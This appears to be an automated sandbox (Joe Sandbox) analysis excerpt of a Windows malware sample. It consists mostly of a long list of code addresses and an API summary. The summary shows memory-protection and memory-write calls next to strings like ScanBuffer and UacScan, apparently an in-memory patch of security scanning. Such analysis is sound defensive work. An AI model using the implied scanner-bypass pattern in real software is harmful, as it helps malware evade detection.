                                    0x02cd584e
                                    0x02cd5854
                                    0x02cd5864
                                    0x02cd587c
                                    0x02cd5887
                                    0x02cd588e
                                    0x02cd5899
                                    0x02cd58b1
                                    0x02cd58bc
                                    0x02cd58bd
                                    0x02cd58c8
                                    0x02cd58ce
                                    0x02cd58d9
                                    0x02cd58e0
                                    0x02cd58e6
                                    0x02cd58f7
                                    0x02cd5902
                                    0x02cd5903
                                    0x02cd5903
                                    0x02cd5908
                                    0x02cd590d
                                    0x02cd5913
                                    0x02cd5923
                                    0x02cd593b
                                    0x02cd5946
                                    0x02cd594d
                                    0x02cd5958
                                    0x02cd5970
                                    0x02cd597b
                                    0x02cd597c
                                    0x02cd5981
                                    0x02cd5986
                                    0x02cd598c
                                    0x02cd599c
                                    0x02cd59b4
                                    0x02cd59bf
                                    0x02cd59c6
                                    0x02cd59d1
                                    0x02cd59e9
                                    0x02cd59f4
                                    0x02cd59f5
                                    0x02cd59fa
                                    0x02cd59ff
                                    0x02cd5a05
                                    0x02cd5a15
                                    0x02cd5a2d
                                    0x02cd5a38
                                    0x02cd5a3f
                                    0x02cd5a4a
                                    0x02cd5a62
                                    0x02cd5a6d
                                    0x02cd5a6e
                                    0x02cd5a78
                                    0x02cd5a7f
                                    0x02cd5a84
                                    0x02cd5a84
                                    0x02cd5a89
                                    0x02cd5a8e
                                    0x02cd5a94
                                    0x02cd5aa4
                                    0x02cd5abc
                                    0x02cd5ac7
                                    0x02cd5ace
                                    0x02cd5ad9
                                    0x02cd5af1
                                    0x02cd5afc
                                    0x02cd5afd
                                    0x02cd5b02
                                    0x02cd5b07
                                    0x02cd5b0d
                                    0x02cd5b1d
                                    0x02cd5b35
                                    0x02cd5b40
                                    0x02cd5b47
                                    0x02cd5b52
                                    0x02cd5b6a
                                    0x02cd5b75
                                    0x02cd5b76
                                    0x02cd5b7b
                                    0x02cd5b80
                                    0x02cd5b86
                                    0x02cd5b96
                                    0x02cd5bae
                                    0x02cd5bb9
                                    0x02cd5bc0
                                    0x02cd5bcb
                                    0x02cd5be3
                                    0x02cd5bee
                                    0x02cd5bef
                                    0x02cd5bff
                                    0x02cd5c0a
                                    0x02cd5c16
                                    0x02cd5c21
                                    0x02cd5c22
                                    0x02cd5c27
                                    0x02cd5c2c
                                    0x02cd5c32
                                    0x02cd5c42
                                    0x02cd5c5a
                                    0x02cd5c65
                                    0x02cd5c6c
                                    0x02cd5c77
                                    0x02cd5c8f
                                    0x02cd5c9a
                                    0x02cd5c9b
                                    0x02cd5ca0
                                    0x02cd5ca5
                                    0x02cd5cab
                                    0x02cd5cbb
                                    0x02cd5cd3
                                    0x02cd5cde
                                    0x02cd5ce5
                                    0x02cd5cf0
                                    0x02cd5d08
                                    0x02cd5d13
                                    0x02cd5d14
                                    0x02cd5d19
                                    0x02cd5d1e
                                    0x02cd5d24
                                    0x02cd5d34
                                    0x02cd5d4c
                                    0x02cd5d57
                                    0x02cd5d5e
                                    0x02cd5d69
                                    0x02cd5d81
                                    0x02cd5d8c
                                    0x02cd5d8d
                                    0x02cd5d9d
                                    0x02cd5da8
                                    0x02cd5db4
                                    0x02cd5dbf
                                    0x02cd5dc0
                                    0x02cd5dd0
                                    0x02cd5ddb
                                    0x02cd5de7
                                    0x02cd5df2
                                    0x02cd5df3
                                    0x02cd5e03
                                    0x02cd5e0e
                                    0x02cd5e1a
                                    0x02cd5e25
                                    0x02cd5e26
                                    0x02cd5e36
                                    0x02cd5e41
                                    0x02cd5e4d
                                    0x02cd5e58
                                    0x02cd5e59
                                    0x02cd5e69
                                    0x02cd5e74
                                    0x02cd5e80
                                    0x02cd5e8b
                                    0x02cd5e8c
                                    0x02cd5e9c
                                    0x02cd5ea7
                                    0x02cd5eb3
                                    0x02cd5ebe
                                    0x02cd5ebf
                                    0x02cd5ecf
                                    0x02cd5eda
                                    0x02cd5ee6
                                    0x02cd5ef1
                                    0x02cd5ef2
                                    0x02cd5f02
                                    0x02cd5f0d
                                    0x02cd5f19
                                    0x02cd5f24
                                    0x02cd5f25
                                    0x02cd5f35
                                    0x02cd5f40
                                    0x02cd5f4c
                                    0x02cd5f57
                                    0x02cd5f58
                                    0x02cd5f67
                                    0x02cd5f76
                                    0x02cd5f85
                                    0x02cd5f94
                                    0x02cd5fa3
                                    0x02cd5fb2
                                    0x02cd5fc1
                                    0x02cd5fd0
                                    0x02cd5fdf
                                    0x02cd5fee
                                    0x02cd5ffd
                                    0x02cd600c
                                    0x02cd601b
                                    0x02cd602a
                                    0x02cd6039
                                    0x02cd6048
                                    0x02cd604d
                                    0x02cd6052
                                    0x02cd6058
                                    0x02cd6068
                                    0x02cd6080
                                    0x02cd608b
                                    0x02cd6092
                                    0x02cd609d
                                    0x02cd60b5
                                    0x02cd60c0
                                    0x02cd60c1
                                    0x02cd60c6
                                    0x02cd60cb
                                    0x02cd60d1
                                    0x02cd60e1
                                    0x02cd60f9
                                    0x02cd6104
                                    0x02cd610b
                                    0x02cd6116
                                    0x02cd612e
                                    0x02cd6139
                                    0x02cd613a
                                    0x02cd613f
                                    0x02cd6144
                                    0x02cd614a
                                    0x02cd615a
                                    0x02cd6172
                                    0x02cd617d
                                    0x02cd6184
                                    0x02cd618f
                                    0x02cd61a7
                                    0x02cd61b2
                                    0x02cd61b3
                                    0x02cd61c3
                                    0x02cd61ce
                                    0x02cd61da
                                    0x02cd61e5
                                    0x02cd61e6
                                    0x02cd61f6
                                    0x02cd6201
                                    0x02cd620d
                                    0x02cd6218
                                    0x02cd6219
                                    0x02cd6229
                                    0x02cd6234
                                    0x02cd6240
                                    0x02cd624b
                                    0x02cd624c
                                    0x02cd625c
                                    0x02cd6267
                                    0x02cd6273
                                    0x02cd627e
                                    0x02cd627f
                                    0x02cd628f
                                    0x02cd629a
                                    0x02cd62a6
                                    0x02cd62b1
                                    0x02cd62b2
                                    0x02cd62c2
                                    0x02cd62cd
                                    0x02cd62d9
                                    0x02cd62e4
                                    0x02cd62e5
                                    0x02cd62f5
                                    0x02cd6300
                                    0x02cd630c
                                    0x02cd6317
                                    0x02cd6318
                                    0x02cd6328
                                    0x02cd6333
                                    0x02cd633f
                                    0x02cd634a
                                    0x02cd634b
                                    0x02cd635b
                                    0x02cd6366
                                    0x02cd6372
                                    0x02cd637d
                                    0x02cd637e
                                    0x02cd638e
                                    0x02cd6399
                                    0x02cd63a5
                                    0x02cd63b0
                                    0x02cd63b1
                                    0x02cd63c1
                                    0x02cd63cc
                                    0x02cd63d8
                                    0x02cd63e3
                                    0x02cd63e4
                                    0x02cd63f4
                                    0x02cd63ff
                                    0x02cd640b
                                    0x02cd6416
                                    0x02cd6417
                                    0x02cd6427
                                    0x02cd6432
                                    0x02cd643e
                                    0x02cd6449
                                    0x02cd644a
                                    0x02cd645a
                                    0x02cd6465
                                    0x02cd6471
                                    0x02cd647c
                                    0x02cd647d
                                    0x02cd648d
                                    0x02cd6498
                                    0x02cd64a4
                                    0x02cd64af
                                    0x02cd64b0
                                    0x02cd64c0
                                    0x02cd64cb
                                    0x02cd64d7
                                    0x02cd64e2
                                    0x02cd64e3
                                    0x02cd64f3
                                    0x02cd64fe
                                    0x02cd650a
                                    0x02cd6515
                                    0x02cd6516
                                    0x02cd6526
                                    0x02cd6531
                                    0x02cd653d
                                    0x02cd6548
                                    0x02cd6549
                                    0x02cd6559
                                    0x02cd6564
                                    0x02cd6570
                                    0x02cd657b
                                    0x02cd657c
                                    0x02cd658c
                                    0x02cd6597
                                    0x02cd65a3
                                    0x02cd65ae
                                    0x02cd65af
                                    0x02cd65bf
                                    0x02cd65ca
                                    0x02cd65d6
                                    0x02cd65e1
                                    0x02cd65e2
                                    0x02cd65f2
                                    0x02cd65fd
                                    0x02cd6609
                                    0x02cd6614
                                    0x02cd6615
                                    0x02cd6625
                                    0x02cd6630
                                    0x02cd663c
                                    0x02cd6647
                                    0x02cd6648
                                    0x02cd6658
                                    0x02cd6663
                                    0x02cd666f
                                    0x02cd667a
                                    0x02cd667b
                                    0x02cd668a
                                    0x02cd668f
                                    0x02cd6694
                                    0x02cd669a
                                    0x02cd66aa
                                    0x02cd66c2
                                    0x02cd66cd
                                    0x02cd66d4
                                    0x02cd66df
                                    0x02cd66f7
                                    0x02cd6702
                                    0x02cd6703
                                    0x02cd6708
                                    0x02cd670d
                                    0x02cd6713
                                    0x02cd6723
                                    0x02cd673b
                                    0x02cd6746
                                    0x02cd674d
                                    0x02cd6758
                                    0x02cd6770
                                    0x02cd677b
                                    0x02cd677c
                                    0x02cd6781
                                    0x02cd6786
                                    0x02cd678c
                                    0x02cd679c
                                    0x02cd67b4
                                    0x02cd67bf
                                    0x02cd67c6
                                    0x02cd67d1
                                    0x02cd67e9
                                    0x02cd67f4
                                    0x02cd67f5
                                    0x02cd6809
                                    0x02cd6810
                                    0x00000000
                                    0x02cd3d82
                                    0x02cd3d82
                                    0x02cd3d87
                                    0x02cd3d8d
                                    0x02cd3d9d
                                    0x02cd3db5
                                    0x02cd3dc0
                                    0x02cd3dc7
                                    0x02cd3dd2
                                    0x02cd3dea
                                    0x02cd3df5
                                    0x02cd3df6
                                    0x02cd3dfb
                                    0x02cd3e00
                                    0x02cd3e06
                                    0x02cd3e16
                                    0x02cd3e2e
                                    0x02cd3e39
                                    0x02cd3e40
                                    0x02cd3e4b
                                    0x02cd3e63
                                    0x02cd3e6e
                                    0x02cd3e6f
                                    0x02cd3e74
                                    0x02cd3e79
                                    0x02cd3e7f
                                    0x02cd3e8f
                                    0x02cd3ea7
                                    0x02cd3eb2
                                    0x02cd3eb9
                                    0x02cd3ec4
                                    0x02cd3edc
                                    0x02cd3ee7
                                    0x02cd3ee8
                                    0x02cd3eed
                                    0x02cd3ef2
                                    0x02cd3ef8
                                    0x02cd3f08
                                    0x02cd3f20
                                    0x02cd3f2b
                                    0x02cd3f32
                                    0x02cd3f3d
                                    0x02cd3f55
                                    0x02cd3f60
                                    0x02cd3f61
                                    0x02cd3f6e
                                    0x02cd3f79
                                    0x02cd3f8a
                                    0x02cd3f8f
                                    0x02cd3f94
                                    0x02cd3f9a
                                    0x02cd3faa
                                    0x02cd3fc2
                                    0x02cd3fcd
                                    0x02cd3fd4
                                    0x02cd3fdf
                                    0x02cd3ff7
                                    0x02cd4002
                                    0x02cd4003
                                    0x02cd4008
                                    0x02cd401a
                                    0x02cd402a
                                    0x02cd402f
                                    0x02cd4034
                                    0x02cd403a
                                    0x02cd404a
                                    0x02cd4062
                                    0x02cd406d
                                    0x02cd4074
                                    0x02cd407f
                                    0x02cd4097
                                    0x02cd40a2
                                    0x02cd40a3
                                    0x02cd40a8
                                    0x02cd40ad
                                    0x02cd40b3
                                    0x02cd40c3
                                    0x02cd40db
                                    0x02cd40e6
                                    0x02cd40ed
                                    0x02cd40f8
                                    0x02cd4110
                                    0x02cd411b
                                    0x02cd411c
                                    0x02cd4121
                                    0x02cd4126
                                    0x02cd412c
                                    0x02cd413c
                                    0x02cd4154
                                    0x02cd415f
                                    0x02cd4166
                                    0x02cd4171
                                    0x02cd4189
                                    0x02cd4194
                                    0x02cd4195
                                    0x02cd419a
                                    0x02cd419f
                                    0x02cd41a5
                                    0x02cd41b5
                                    0x02cd41cd
                                    0x02cd41d8
                                    0x02cd41df
                                    0x02cd41ea
                                    0x02cd4202
                                    0x02cd420d
                                    0x02cd420e
                                    0x02cd421f
                                    0x02cd4226
                                    0x02cd4227
                                    0x02cd422c
                                    0x02cd422f
                                    0x02cd4232
                                    0x02cd4237
                                    0x02cd423d
                                    0x02cd424d
                                    0x02cd4265
                                    0x02cd4270
                                    0x02cd4277
                                    0x02cd4282
                                    0x02cd429a
                                    0x02cd42a5
                                    0x02cd42a6
                                    0x02cd42ab
                                    0x02cd42b0
                                    0x02cd42b6
                                    0x02cd42c6
                                    0x02cd42de
                                    0x02cd42e9
                                    0x02cd42f0
                                    0x02cd42fb
                                    0x02cd4313
                                    0x02cd431e
                                    0x02cd431f
                                    0x02cd4324
                                    0x02cd4329
                                    0x02cd432f
                                    0x02cd433f
                                    0x02cd4357
                                    0x02cd4362
                                    0x02cd4369
                                    0x02cd4374
                                    0x02cd438c
                                    0x02cd4397
                                    0x02cd4398
                                    0x02cd439d
                                    0x02cd43a2
                                    0x02cd43a8
                                    0x02cd43ae
                                    0x02cd43b0
                                    0x02cd43b2
                                    0x02cd43b2
                                    0x02cd43b5
                                    0x02cd43b5
                                    0x02cd43b9
                                    0x02cd43bc
                                    0x02cd43c1
                                    0x02cd43c6
                                    0x02cd43cb
                                    0x02cd43d1
                                    0x02cd43e1
                                    0x02cd43f9
                                    0x02cd4404
                                    0x02cd440b
                                    0x02cd4416
                                    0x02cd442e
                                    0x02cd4439
                                    0x02cd443a
                                    0x02cd443f
                                    0x02cd4444
                                    0x02cd444a
                                    0x02cd445a
                                    0x02cd4472
                                    0x02cd447d
                                    0x02cd4484
                                    0x02cd448f
                                    0x02cd44a7
                                    0x02cd44b2
                                    0x02cd44b3
                                    0x02cd44b8
                                    0x02cd44bd
                                    0x02cd44c3
                                    0x02cd44d3
                                    0x02cd44eb
                                    0x02cd44f6
                                    0x02cd44fd
                                    0x02cd4508
                                    0x02cd4520
                                    0x02cd452b
                                    0x02cd452c
                                    0x02cd4531
                                    0x02cd4538
                                    0x02cd4540
                                    0x02cd4546
                                    0x02cd454b
                                    0x02cd4550
                                    0x02cd4555
                                    0x02cd455b
                                    0x02cd456b
                                    0x02cd4583
                                    0x02cd458e
                                    0x02cd4595
                                    0x02cd45a0
                                    0x02cd45b8
                                    0x02cd45c3
                                    0x02cd45c4
                                    0x02cd45c9
                                    0x02cd45ce
                                    0x02cd45d4
                                    0x02cd45e4
                                    0x02cd45fc
                                    0x02cd4607
                                    0x02cd460e
                                    0x02cd4619
                                    0x02cd4631
                                    0x02cd463c
                                    0x02cd463d
                                    0x02cd4642
                                    0x02cd4647
                                    0x02cd464d
                                    0x02cd465d
                                    0x02cd4675
                                    0x02cd4680
                                    0x02cd4687
                                    0x02cd4692
                                    0x02cd46aa
                                    0x02cd46b5
                                    0x02cd46b6
                                    0x02cd46bb
                                    0x02cd46c0
                                    0x02cd46c6
                                    0x02cd46d6
                                    0x02cd46ee
                                    0x02cd46f9
                                    0x02cd4700
                                    0x02cd470b
                                    0x02cd4723
                                    0x02cd472e
                                    0x02cd472f
                                    0x02cd4734
                                    0x02cd473a
                                    0x02cd4740
                                    0x02cd4745
                                    0x02cd4747
                                    0x02cd474a
                                    0x02cd474d
                                    0x02cd4752
                                    0x02cd475c
                                    0x02cd475c
                                    0x02cd2143
                                    0x02cd2143
                                    0x02cd2149
                                    0x02cd214e
                                    0x02cd2153
                                    0x02cd2155
                                    0x02cd2157
                                    0x02cd2159
                                    0x02cd215b
                                    0x02cd215d
                                    0x02cd2162
                                    0x02cd2164
                                    0x02cd2166
                                    0x02cd2168
                                    0x02cd216a
                                    0x02cd216c
                                    0x02cd217c
                                    0x02cd2194
                                    0x02cd219f
                                    0x02cd21a4
                                    0x02cd21a6
                                    0x00000000
                                    0x02cd21ac
                                    0x02cd21ac
                                    0x02cd21b1
                                    0x02cd21b7
                                    0x02cd21c7
                                    0x02cd21df
                                    0x02cd21ea
                                    0x02cd21f1
                                    0x02cd21fc
                                    0x02cd2214
                                    0x02cd221f
                                    0x02cd2220
                                    0x02cd2230
                                    0x02cd223b
                                    0x02cd2240
                                    0x02cd2242
                                    0x00000000
                                    0x02cd2248
                                    0x02cd2248
                                    0x02cd224d
                                    0x02cd2253
                                    0x02cd2263
                                    0x02cd227b
                                    0x02cd2286
                                    0x02cd228d
                                    0x02cd2298
                                    0x02cd22b0
                                    0x02cd22bb
                                    0x02cd22bc
                                    0x02cd22c1
                                    0x02cd22c6
                                    0x02cd22cc
                                    0x02cd22dc
                                    0x02cd22f4
                                    0x02cd22ff
                                    0x02cd2306
                                    0x02cd2311
                                    0x02cd2329
                                    0x02cd2334
                                    0x02cd2335
                                    0x02cd233a
                                    0x02cd233f
                                    0x02cd2345
                                    0x02cd2355
                                    0x02cd236d
                                    0x02cd2378
                                    0x02cd237f
                                    0x02cd238a
                                    0x02cd23a2
                                    0x02cd23ad
                                    0x02cd23ae
                                    0x02cd23bf
                                    0x02cd23cf
                                    0x02cd23d7
                                    0x02cd23e3
                                    0x02cd23ee
                                    0x02cd23f5
                                    0x02cd23f8
                                    0x02cd23fd
                                    0x02cd2403
                                    0x02cd2408
                                    0x02cd240a
                                    0x02cd240c
                                    0x02cd240e
                                    0x02cd2410
                                    0x02cd2412
                                    0x02cd2414
                                    0x02cd2416
                                    0x02cd241b
                                    0x02cd241d
                                    0x02cd241f
                                    0x02cd2421
                                    0x02cd2423
                                    0x02cd2425
                                    0x02cd2427
                                    0x02cd2429
                                    0x02cd2439
                                    0x02cd2451
                                    0x02cd245c
                                    0x02cd2463
                                    0x02cd246e
                                    0x02cd2486
                                    0x02cd2491
                                    0x02cd2492
                                    0x02cd24d8
                                    0x02cd24f0
                                    0x02cd24fb
                                    0x02cd2502
                                    0x02cd2505
                                    0x02cd2507
                                    0x02cd250a
                                    0x02cd250d
                                    0x02cd2512
                                    0x02cd251c
                                    0x02cd251c
                                    0x02cd2242
                                    0x02cd21a6
                                    0x02cd0a51
                                    0x02cd0a51
                                    0x02cd0a56
                                    0x02cd0a5c
                                    0x02cd0a6c
                                    0x02cd0a84
                                    0x02cd0a96
                                    0x00000000
                                    0x02cd0a9c
                                    0x02cd0a9c
                                    0x02cd0aa1
                                    0x02cd0aa7
                                    0x02cd0ab7
                                    0x02cd0acf
                                    0x02cd0ada
                                    0x02cd0ae1
                                    0x02cd0aec
                                    0x02cd0b04
                                    0x02cd0b0f
                                    0x02cd0b10
                                    0x02cd0b15
                                    0x02cd0b1a
                                    0x02cd0b20
                                    0x02cd0b30
                                    0x02cd0b48
                                    0x02cd0b53
                                    0x02cd0b5a
                                    0x02cd0b65
                                    0x02cd0b7d
                                    0x02cd0b88
                                    0x02cd0b89
                                    0x02cd0b8e
                                    0x02cd0b93
                                    0x02cd0b99
                                    0x02cd0ba9
                                    0x02cd0bc1
                                    0x02cd0bcc
                                    0x02cd0bd3
                                    0x02cd0bde
                                    0x02cd0bf6
                                    0x02cd0c01
                                    0x02cd0c02
                                    0x02cd0c07
                                    0x02cd0c0d
                                    0x02cd0c12
                                    0x02cd0c23
                                    0x02cd0c3a
                                    0x02cd0c3f
                                    0x02cd0c44
                                    0x02cd0c4a
                                    0x02cd0c5a
                                    0x02cd0c72
                                    0x02cd0c7d
                                    0x02cd0c84
                                    0x02cd0c8f
                                    0x02cd0ca7
                                    0x02cd0cb2
                                    0x02cd0cb3
                                    0x02cd0cb8
                                    0x02cd0cbd
                                    0x02cd0cc3
                                    0x02cd0cd3
                                    0x02cd0ceb
                                    0x02cd0cf6
                                    0x02cd0cfd
                                    0x02cd0d08
                                    0x02cd0d20
                                    0x02cd0d2b
                                    0x02cd0d2c
                                    0x02cd0d31
                                    0x02cd0d36
                                    0x02cd0d3c
                                    0x02cd0d4c
                                    0x02cd0d64
                                    0x02cd0d6f
                                    0x02cd0d76
                                    0x02cd0d81
                                    0x02cd0d99
                                    0x02cd0da4
                                    0x02cd0da5
                                    0x02cd0daa
                                    0x02cd0daf
                                    0x02cd0db5
                                    0x02cd0dc5
                                    0x02cd0ddd
                                    0x02cd0de8
                                    0x02cd0def
                                    0x02cd0dfa
                                    0x02cd0e12
                                    0x02cd0e1d
                                    0x02cd0e1e
                                    0x02cd0e23
                                    0x02cd0e28
                                    0x02cd0e2e
                                    0x02cd0e3e
                                    0x02cd0e56
                                    0x02cd0e61
                                    0x02cd0e68
                                    0x02cd0e73
                                    0x02cd0e8b
                                    0x02cd0e96
                                    0x02cd0e97
                                    0x02cd0e9c
                                    0x02cd0ea1
                                    0x02cd0ea7
                                    0x02cd0eac
                                    0x02cd0eae
                                    0x02cd0eb0
                                    0x02cd0eb2
                                    0x02cd0eb4
                                    0x02cd0eb9
                                    0x02cd0ebb
                                    0x02cd0ebd
                                    0x02cd0ebf
                                    0x02cd0ec1
                                    0x02cd0ed1
                                    0x02cd0ee8
                                    0x02cd0eed
                                    0x02cd0ef2
                                    0x02cd0ef8
                                    0x02cd0f08
                                    0x02cd0f20
                                    0x02cd0f2b
                                    0x02cd0f32
                                    0x02cd0f3d
                                    0x02cd0f55
                                    0x02cd0f60
                                    0x02cd0f61
                                    0x02cd0f66
                                    0x02cd0f6b
                                    0x02cd0f71
                                    0x02cd0f81
                                    0x02cd0f99
                                    0x02cd0fa4
                                    0x02cd0fab
                                    0x02cd0fb6
                                    0x02cd0fce
                                    0x02cd0fd9
                                    0x02cd0fda
                                    0x02cd0fdf
                                    0x02cd0fe4
                                    0x02cd0fea
                                    0x02cd0ffa
                                    0x02cd1012
                                    0x02cd101d
                                    0x02cd1024
                                    0x02cd102f
                                    0x02cd1047
                                    0x02cd1052
                                    0x02cd1053
                                    0x02cd1058
                                    0x02cd105d
                                    0x02cd1063
                                    0x02cd1073
                                    0x02cd108b
                                    0x02cd1096
                                    0x02cd109d
                                    0x02cd10a8
                                    0x02cd10c0
                                    0x02cd10cb
                                    0x02cd10cc
                                    0x02cd10d1
                                    0x02cd10d6
                                    0x02cd10dc
                                    0x02cd10ec
                                    0x02cd1104
                                    0x02cd110f
                                    0x02cd1116
                                    0x02cd1121
                                    0x02cd1139
                                    0x02cd1144
                                    0x02cd1145
                                    0x02cd1150
                                    0x02cd1156
                                    0x02cd1161
                                    0x02cd1168
                                    0x02cd116e
                                    0x02cd117f
                                    0x02cd118a
                                    0x02cd118b
                                    0x02cd1190
                                    0x02cd1195
                                    0x02cd119b
                                    0x02cd11ab
                                    0x02cd11c3
                                    0x02cd11ce
                                    0x02cd11d5
                                    0x02cd11e0
                                    0x02cd11f8
                                    0x02cd1203
                                    0x02cd1204
                                    0x02cd1209
                                    0x02cd120e
                                    0x02cd1214
                                    0x02cd1224
                                    0x02cd123c
                                    0x02cd1247
                                    0x02cd124e
                                    0x02cd1259
                                    0x02cd1271
                                    0x02cd127c
                                    0x02cd127d
                                    0x02cd1282
                                    0x02cd1287
                                    0x02cd128d
                                    0x02cd129d
                                    0x02cd12b5
                                    0x02cd12c0
                                    0x02cd12c7
                                    0x02cd12d2
                                    0x02cd12ea
                                    0x02cd12f5
                                    0x02cd12f6
                                    0x02cd12fb
                                    0x02cd1300
                                    0x02cd1306
                                    0x02cd1316
                                    0x02cd132e
                                    0x02cd1339
                                    0x02cd1340
                                    0x02cd134b
                                    0x02cd1363
                                    0x02cd136e
                                    0x02cd136f
                                    0x02cd1374
                                    0x02cd1379
                                    0x02cd137f
                                    0x02cd138f
                                    0x02cd13a7
                                    0x02cd13b2
                                    0x02cd13b9
                                    0x02cd13c4
                                    0x02cd13dc
                                    0x02cd13e7
                                    0x02cd13e8
                                    0x02cd13ed
                                    0x02cd13f2
                                    0x02cd13f8
                                    0x02cd1408
                                    0x02cd1420
                                    0x02cd142b
                                    0x02cd1432
                                    0x02cd143d
                                    0x02cd1455
                                    0x02cd1460
                                    0x02cd1461
                                    0x02cd1472
                                    0x02cd1479
                                    0x02cd147a
                                    0x02cd147f
                                    0x02cd1482
                                    0x02cd1485
                                    0x02cd148a
                                    0x02cd1490
                                    0x02cd14a0
                                    0x02cd14b8
                                    0x02cd14c3
                                    0x02cd14ca
                                    0x02cd14d5
                                    0x02cd14ed
                                    0x02cd14f8
                                    0x02cd14f9
                                    0x02cd14fe
                                    0x02cd1503
                                    0x02cd1509
                                    0x02cd1519
                                    0x02cd1531
                                    0x02cd153c
                                    0x02cd1543
                                    0x02cd154e
                                    0x02cd1566
                                    0x02cd1571
                                    0x02cd1572
                                    0x02cd157c
                                    0x02cd1583
                                    0x02cd15a1
                                    0x02cd15ac
                                    0x02cd15b3
                                    0x02cd15bb
                                    0x02cd15c9
                                    0x02cd15df
                                    0x02cd15ea
                                    0x02cd15f1
                                    0x02cd15f4
                                    0x02cd15f9
                                    0x02cd15ff
                                    0x02cd160f
                                    0x02cd1627
                                    0x02cd1632
                                    0x02cd1639
                                    0x02cd1644
                                    0x02cd165c
                                    0x02cd1667
                                    0x02cd1668
                                    0x02cd166d
                                    0x02cd1672
                                    0x02cd1678
                                    0x02cd1688
                                    0x02cd16a0
                                    0x02cd16ab
                                    0x02cd16b2
                                    0x02cd16bd
                                    0x02cd16d5
                                    0x02cd16e0
                                    0x02cd16e1
                                    0x02cd16eb
                                    0x02cd16f7
                                    0x02cd170d
                                    0x02cd1718
                                    0x02cd171f
                                    0x02cd1722
                                    0x02cd1727
                                    0x02cd172d
                                    0x02cd173d
                                    0x02cd1755
                                    0x02cd1760
                                    0x02cd1767
                                    0x02cd1772
                                    0x02cd178a
                                    0x02cd1795
                                    0x02cd1796
                                    0x02cd179b
                                    0x02cd17a0
                                    0x02cd17a6
                                    0x02cd17b6
                                    0x02cd17ce
                                    0x02cd17d9
                                    0x02cd17e0
                                    0x02cd17eb
                                    0x02cd1803
                                    0x02cd180e
                                    0x02cd180f
                                    0x02cd1849
                                    0x02cd1861
                                    0x02cd186c
                                    0x02cd1873
                                    0x02cd1878
                                    0x02cd187b
                                    0x02cd187e
                                    0x02cd1883
                                    0x02cd188d
                                    0x02cd188d
                                    0x02cd0a96
                                    0x02cd0a4b

                                    APIs
                                    • InetIsOffline.URL(000008AE,00000000,02CD6BDE,?,?,00000261,00000000,00000000), ref: 02CCD885
                                      • Part of subcall function 02CC7B74: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BAC
                                      • Part of subcall function 02CC7B74: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BBA
                                      • Part of subcall function 02CC7B74: GetProcAddress.KERNEL32(74180000,00000000), ref: 02CC7BD3
                                      • Part of subcall function 02CC7B74: GetCurrentProcess.KERNEL32(02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BEC
                                      • Part of subcall function 02CC7B74: NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BF2
                                      • Part of subcall function 02CC7B74: GetCurrentProcess.KERNEL32(02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C1C
                                      • Part of subcall function 02CC7B74: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C22
                                      • Part of subcall function 02CC7B74: FreeLibrary.KERNEL32(74180000,00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000), ref: 02CC7C2D
                                      • Part of subcall function 02CB2EE0: QueryPerformanceCounter.KERNEL32 ref: 02CB2EE4
                                      • Part of subcall function 02CB7E40: GetFileAttributesA.KERNEL32(00000000,02DE2878,02CCDE67,ScanString,02CD6C14,ScanBuffer,02CD6C14,UacInitialize,02CD6C14,UacScan,02CD6C14,Initialize,02CD6C14,ScanBuffer,02CD6C14,OpenSession), ref: 02CB7E4B
                                      • Part of subcall function 02CB7E64: GetFileAttributesA.KERNEL32(00000000,02DE2878,02CD0617,ScanString,02CD6C14,OpenSession,02CD6C14,ScanBuffer,02CD6C14,OpenSession,02CD6C14,ScanString,02CD6C14,Initialize,02CD6C14,ScanBuffer), ref: 02CB7E6F
                                      • Part of subcall function 02CB802C: CreateDirectoryA.KERNEL32(00000000,00000000,02DE2878,02CD0733,ScanBuffer,02CD6C14,Initialize,02CD6C14,ScanString,02CD6C14,OpenSession,02CD6C14,ScanBuffer,02CD6C14,OpenSession,02CD6C14), ref: 02CB8039
                                      • Part of subcall function 02CCCAB0: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CCCB82), ref: 02CCCAEF
                                      • Part of subcall function 02CCCAB0: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02CCCB29
                                      • Part of subcall function 02CCCAB0: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02CCCB56
                                      • Part of subcall function 02CCCAB0: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02CCCB5F
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: File$AttributesCreateCurrentLibraryMemoryPathProcessVirtualWrite$AddressCloseCounterDirectoryFreeHandleInetLoadModuleNameName_OfflinePerformanceProcProtectQuery
